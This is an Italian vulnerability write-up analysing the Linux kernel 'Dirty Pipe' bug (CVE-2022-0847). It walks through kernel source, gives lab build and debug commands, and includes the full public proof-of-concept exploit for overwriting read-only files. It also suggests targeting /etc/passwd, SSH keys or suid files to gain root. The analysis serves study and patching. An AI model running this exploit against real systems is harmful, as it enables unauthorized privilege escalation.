
CVE-2022-0847 POC e Docker e write-up di analisi
[toc]
Questo articolo è stato pubblicato per la prima volta sul account pubblico WeChat di Huawei Security, questa è la versione blog (più completa)
Link originale: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
ID vulnerabilità: CVE-2022-0847 (alias: Dirty Pipe)
Prodotto affetto: kernel Linux - syscall splice
Versioni interessate: Linux 5.8 patch f6dd975583bd introdotta ~ riparata in 5.16.11, 5.15.25, 5.10.102
Danno: possibilità di scrivere fino a una pagina di contenuto (sufficiente) su qualsiasi file leggibile, consentendo l'elevazione locale dei privilegi.
Docker per analisi vulnerabilità: chenaotian/cve-2022-0847 (se non ancora accessibile significa che non l'ho ancora caricato)
Fornisce:
Avvio:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Debug:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
Il principio sintetico della vulnerabilità è che chiamando la funzione
splice, è possibile inviare un file a unapipein modalità "zero-copy". A livello di codice, la zero-copy consiste nell'utilizzare direttamente la cache di pagina del file (page cache) come paginabufdellapipe. Tuttavia, qui è stata introdotta una vulnerabilità di variabile non inizializzata, che consente di modificare successivamente la pagina della cache del file attraverso il canalepipetrattandola come una normale paginapipe, permettendo così la sovrascrittura. In questa situazione, il kernel non considera questa pagina cache come "sporca" e non la scrive su disco per un breve periodo (fino al prossimo riavvio). Durante questo intervallo, tutti gli accessi a quel file utilizzeranno la pagina cache alterata, consentendo un'operazione di "scrittura arbitraria su qualsiasi file leggibile per un breve periodo". Ciò può portare all'elevazione locale dei privilegi.
Secondo la patch, il punto di occorrenza è nella funzione copy_page_to_iter_pipe, con l'aggiunta dell'inizializzazione di buf->flags. Quindi si tratta di una vulnerabilità di variabile non inizializzata.

Il punto di chiamata di copy_page_to_iter_pipe si trova all'interno della chiamata di sistema splice. La funzione splice (chiamata di sistema) utilizza un metodo "zero-copy" per inviare il contenuto del file a una pipe, con prestazioni migliori rispetto al tradizionale invio diretto del contenuto del file. I dettagli verranno spiegati più avanti.
Innanzitutto, l'alias della vulnerabilità è "dirty pipe", quindi è utile comprendere la pipe. La pipe è un canale di comunicazione fornito dal kernel, creato tramite la funzione pipe/pipe2, che restituisce due descrittori di file: uno per inviare dati e l'altro per riceverli, simile a un tubo con due estremità. I dettagli d'uso non verranno approfonditi.

Spiegazione breve dell'implementazione nel kernel: di solito, lo spazio totale della cache pipe è di 65536 byte, gestito in pagine, per un totale di 16 pagine (4096 byte ciascuna). Le pagine non sono contigue ma gestite tramite un array, formando una lista circolare. Vengono mantenuti due puntatori di lista: uno per scrivere (pipe->head) e uno per leggere (pipe->tail). Analizziamo principalmente la funzione pipe_write:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1] Se la cache pipe non è vuota, prova a scrivere "continuando" dall'ultima pagina corrente
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Chiave: se il flag PIPE_BUF_FLAG_CAN_MERGE è presente, la pagina consente la scrittura continua
*Se la lunghezza da scrivere non supera la pagina, scrive in coda; altrimenti inizia una nuova pagina */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] Se non si può continuare dall'ultima pagina, inizia una nuova pagina
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] Alloca una nuova pagina
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Inserisce nell'array dei buffer */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] Inserisce la nuova pagina nell'array di pagine
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] Imposta il flag, per default PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] Operazione di copia
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
head==tail indica pipe vuota), significa che ci sono dati non ancora letti. Ottiene il puntatore head, cioè l'ultima pagina usata per scrivere, ne esamina len e offset (per trovare la fine dei dati). Quindi tenta di continuare a scrivere nella pagina corrente.PIPE_BUF_FLAG_CAN_MERGE: se non presente, non consente la scrittura continua. Inoltre, se la concatenazione dei dati eccede una pagina (operazione di scrittura oltre i limiti di pagina), non può continuare.alloc_page alloca una nuova pagina.buf->flag viene inizializzato per default a PIPE_BUF_FLAG_CAN_MERGE, perché per default la pagina consente la scrittura continua.La chiave per lo sfruttamento della vulnerabilità è il flag PIPE_BUF_FLAG_CAN_MERGE non inizializzato in splice, che determina se possiamo continuare a scrivere in una pagina pipe "non completamente scritta".
Come menzionato, la pipe gestisce 16 pagine come cache. Il metodo zero-copy di splice consiste nel sostituire direttamente la pagina cache della pipe con la pagina cache del file (cambiando il puntatore della pagina cache della pipe verso la pagina cache del file).

La chiamata di sistema splice fino alla funzione vulnerabile copy_page_to_iter_pipe ha una pila di chiamate profonda, non la analizzeremo in dettaglio. La pila è:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read(in->f_op->splice_read default generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeLa funzione copy_page_to_iter_pipe, dov'è la vulnerabilità, fa principalmente questo: reindirizza la struttura della pagina cache della pipe verso la pagina cache del file da trasferire:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1] Ottiene la corrispondente pagina cache pipe
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2] Modifica le informazioni della pagina cache pipe per puntare alla pagina cache del file
get_page(page);
buf->page = page;//[2] Il puntatore alla pagina ora punta alla pagina cache del file
buf->offset = offset;//[2] offset, len ecc. vengono impostati in base alle informazioni correnti (dai parametri di splice)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe->head).len determinato dai parametri della chiamata di sistema splice. Qui, il flag non viene inizializzato, creando la vulnerabilità.Dopo l'inizializzazione tipica, pipe->bufs si presenta così:

Ora, secondo il codice di pipe_write analizzato sopra, se chiamiamo di nuovo pipe_write per scrivere dati nella pipe, il puntatore di scrittura (pipe->head) punta alla pagina mostrata sopra, e il flag è PIPE_BUF_FLAG_CAN_MERGE, quindi verrà considerata come una pagina in cui si può continuare a scrivere, a condizione che la lunghezza non superi la pagina:
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1] Se la cache pipe non è vuota, prova a scrivere "continuando" dall'ultima pagina corrente
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] Chiave: se il flag PIPE_BUF_FLAG_CAN_MERGE è presente, la pagina consente la scrittura continua
*Se la lunghezza da scrivere non supera la pagina, scrive in coda; altrimenti inizia una nuova pagina */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
Linux mette i file aperti in pagine cache; le pagine cache vengono conservate per un po' dopo l'uso per evitare I/O non necessari. In un breve intervallo, l'accesso allo stesso file comporta l'operazione sulla stessa pagina cache del file, non l'apertura ripetuta. Utilizzando questo metodo, alteriamo questa pagina cache del file, quindi per un breve periodo tutte le operazioni di accesso (lettura) a quel file leggeranno la pagina cache alterata, completando lo sfruttamento.
Come descritto sopra, il processo di sfruttamento è molto semplice: basta comprendere il principio della vulnerabilità. Secondo l'autore, si articola in questi passaggi:
pipe_write), in modo che tutti i buf (pagine cache pipe) siano inizializzati, con flag di default PIPE_BUF_FLAG_CAN_MERGE.pipe_read), in modo che quando si trasferisce un file tramite la chiamata di sistema splice, vengano utilizzate le strutture buf già inizializzate.splice per trasferire il file che si vuole alterare nella pipe.pipe_write): a questo punto si sovrascriverà la pagina cache del file, completando la modifica temporanea del file.Dopo il secondo passaggio (pipe riempita e poi svuotata), si può vedere che nella struttura bufs ci sono i dati da riutilizzare per il contenuto non inizializzato successivo:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Dopo splice, quando il file viene trasferito, diventa così, con flag non inizializzato. Qui len deve essere impostato il più piccolo possibile, perché più piccolo è, maggiore sarà la lunghezza che potremo scrivere successivamente "continuando". Qui lo impostiamo a 1, l'offset è l'indirizzo di partenza che vogliamo alterare. Questo farà sì che pipe->bufs->page punti all'indirizzo di partenza:
splice(fd, &offset, p[1], NULL, 1, 0);

Un'altra pipe_write, soddisfa le condizioni di scrittura continua, scrive direttamente nella pagina:

Non è mio, proviene dalla divulgazione della vulnerabilità:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Elevazione dei privilegi riuscita:
gcc exp.c -o exp --static
./exp file offset string

Al momento viene mostrato l'effetto di scrittura arbitraria su file. Per uno sfruttamento pratico, si può modificare /etc/passwd, o la chiave ssh, o alcuni file suid, ecc., per completare l'elevazione effettiva dei privilegi. Non lo faremo qui (tanto non sto penetrando).
Trattandosi di una vulnerabilità del kernel, non esiste una buona soluzione immediata. Si consiglia di aggiornare il kernel alla versione riparata: 5.16.11, 5.15.25, 5.10.102 o superiori.
Basandomi sul POC pubblicato dal divulgatore, ho scritto un semplice strumento di verifica. Se vulnerabile, stampa "There is CVE-2022-0847":

Se non vulnerabile, stampa "You are safe!".
Divulgazione della vulnerabilità: https://dirtypipe.cm4all.com/
Il flag PIPE_BUF_FLAG_CAN_MERGE appare in totale 5 volte: una volta nella dichiarazione #define, due in pipe_write e le restanti due in splice:

In base al codice che coinvolge questa variabile, il suo significato è se è consentito continuare a scrivere nell'ultima pagina cache della pipe. Una pagina allocata dalla pipe stessa è una pagina normale, continuare a scrivere è normale. Quando non è consentito continuare a scrivere? Quando la pagina non è stata allocata dalla pipe, non si può modificare arbitrariamente. Quindi, dallo stato attuale, quasi solo in splice si ha a che fare con pagine non allocate dalla pipe. In altre parole, il flag PIPE_BUF_FLAG_CAN_MERGE è stato progettato per splice. E poi mi dici che non lo inizializzi?
Quindi sospetto che questa vulnerabilità non sia affatto una svista...